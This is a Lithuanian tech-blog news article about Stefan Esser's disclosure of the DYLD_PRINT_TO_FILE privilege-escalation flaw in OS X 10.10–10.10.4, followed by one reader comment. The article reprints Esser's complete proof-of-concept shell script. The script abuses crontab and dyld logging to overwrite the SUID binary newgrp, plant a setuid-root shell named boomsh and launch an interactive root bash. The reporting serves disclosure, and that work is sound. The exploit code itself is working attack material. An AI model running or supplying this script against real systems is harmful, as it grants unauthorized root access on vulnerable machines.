Aptikta nauja OS X saugumo spraga

Temos: macOS, Saugumas

Saugumo spraga, naujausiame OS X atnaujinime leidžia programišiams prieiti prie duomenų su root vartotojo teisėmis.

OS X saugumo klaida

Apie naują, OS X saugumo spragą, antradienį pranešė saugumo inžinierius Stefan Esser apibūdindamas šią operacinės sistemos saugumo spragą, kaip tokią, kurią programišiai pastoviai išnaudoja.

Ne per seniausiai Microsoft išleido atnaujinimą ištaisantį panašią saugumo spragą Windows operacinėje sistemoje, kuria pasinaudodami programišiai galėjo privilegijuotų vartotojų teises. Ši, Microsoft sistemų saugumo spraga aptikta dėka iš Milane įsikūrusios ir šnipinėjimo technologijomis besiverčiančios „Hacking Team“ pavogtų dokumentų.

Esser rašo, kad nauja, privilegijuoto vartotojo klaida OS X atsirado dėl naujų OS X 10.10 sistemos klaidų log’ų rašymo galimybių. Apple programuotojai praignoravo galimybę naudoti standartinę apsaugą pritaikant OS X dinaminių sąsajų dyld siejimą ir šis „neapsižiūrėjimas“ suteikia galimybę programišiams inicijuoti ar kurti failus suteikiančius root’o privilegijas. Tokias privilegijas turintys failai yra pavojingi ir juos galima išsaugoti bet kokioje OS X failinės sistemos vietoje.

Kadangi dyld niekada neuždaro log failų bei failas niekada nėra atidaromas su „close on exec“ žyma atidaryto failo deskriptorius paveldi „child“ procesus iš SUID binarinių failų/procesų.

Nesukant Jums smegenų techninėmis detalėmis, tie ką domina techniniai šios klaidos aspektai - informaciją ras Stefan Esser žiniaraščio straipsnyje, paminėsiu, kad šią klaidą savo kompiuteriuose turi OS X 10.10.4 Yosemite ir sekančios versijos beta vartotojai. Panašu, kad Apple inžinieriai apie šią klaidą žino, nes OS X El Capitan 10.11 - šios klaidos nebėra.

Galimas dalykas, šią saugumo spragą Apple patyliukais užlopys ateinančių poros savaičių bėgyje, o ir Apple atstovas patvirtino, kad kompanijos inžinieriai susipažinę su Esser’io blogo informacija.

Koncepto įrodymas
#!/bin/sh
#
# Paprastas DYLD_PRINT_TO_FILE saugumo spragos įrodymas
# vietinių privilegijų praplėtimo saugumo spraga OS X 10.10 - 10.10.4
#
# (C) Copyright 2015 Stefan Esser 
#
# Galite laukti kol Apple ištaisys šią klaidą arba įdiegti KEXT'ą iš
# https://github.com/sektioneins/SUIDGuard
#
# Naudodami rizikuojate. Bus kopijuojami, perrašomi ir trinami failai tai vykdant
# root teisėmis visoje sistemoje. Kokia nors klaidelė gali sugadinti jūsų sistemą. 
# Jūs buvote įspėti.

SUIDVICTIM=/usr/bin/newgrp

TARGET=`pwd`/tmpXXXXX

rm -rf $TARGET
mkdir $TARGET

cat << EOF > $TARGET/boomsh.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
        setuid(0);
        setgid(0);
        system("/bin/bash -i");
        printf("done.\n");
        return 0;
}
EOF
cat << EOF > $TARGET/overwrite.c
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv)
{
        int fd;
        char buffer[1024];
        ssize_t toread, numread;
        ssize_t numwritten;
        ssize_t size;

        /* disable O_APPEND */
        fcntl(3, F_SETFL, 0);
        lseek(3, 0, SEEK_SET);

        /* write file into it */
        fd = open(
EOF
echo "\"$TARGET/boomsh\"" >> $TARGET/overwrite.c
cat << EOF >> $TARGET/overwrite.c
        , O_RDONLY, 0);
        if (fd > 0) {

                /* determine size */
                size = lseek(fd, 0, SEEK_END);
                lseek(fd, 0, SEEK_SET);

                while (size > 0) {
                        if (size > sizeof(buffer)) {
                                toread = sizeof(buffer);
                        } else {
                                toread = size;
                        }

                        numread = read(fd, &buffer, toread);
                        if (numread < toread) {
                                fprintf(stderr, "problem reading\n");
                                _exit(2);
                        }
                        numwritten = write(3, &buffer, numread);
                        if (numread != numwritten) {
                                fprintf(stderr, "problem writing\n");
                                _exit(2);
                        }

                        size -= numwritten;

                }

                fsync(3);
                close(fd);
        } else {
                fprintf(stderr, "Cannot open for reading\n");
        }

        return 0;
}
EOF

cp $SUIDVICTIM $TARGET/backup
gcc -o $TARGET/overwrite $TARGET/overwrite.c
gcc -o $TARGET/boomsh $TARGET/boomsh.c

EDITOR=$TARGET/overwrite DYLD_PRINT_TO_FILE=$SUIDVICTIM crontab -e 2> /dev/null
echo "cp $TARGET/boomsh /usr/bin/boomsh; chmod 04755 /usr/bin/boomsh " | $SUIDVICTIM > /dev/null 2> /dev/null
echo "cp $TARGET/backup $SUIDVICTIM" | /usr/bin/boomsh > /dev/null 2> /dev/null

rm -rf $TARGET

/usr/bin/boomsh
Apytikslis skaitymo laikas: 3 minutės.
Pasidalinti straipsniu:

Apie Ramūną Blavaščiūną

Fotografijos, geros technikos ir kavos mylėtojas, didelę savo laisvalaikio dalį skiriantis straipsnių „Mac Arena“ rašymui.

Vienas komentaras

  1. Kadangi MAC OS naudojasi labai maza dalis, jis buvo saugus ir patikimas. Kadangi populerumas vis nori augti ( bet tikrai nepakeis windows ) virusu ir visu kitu kenkeju skaicius kyla.

    Ant mazai besinaudojanciu platformu tiesiog neapsimoka ju kurti. Todel Windows ju apstu...

Parašykite komentarą

Jūsų elektroninio pašto adresas nebus viešinamas. Būtini laukai pažymėti *

*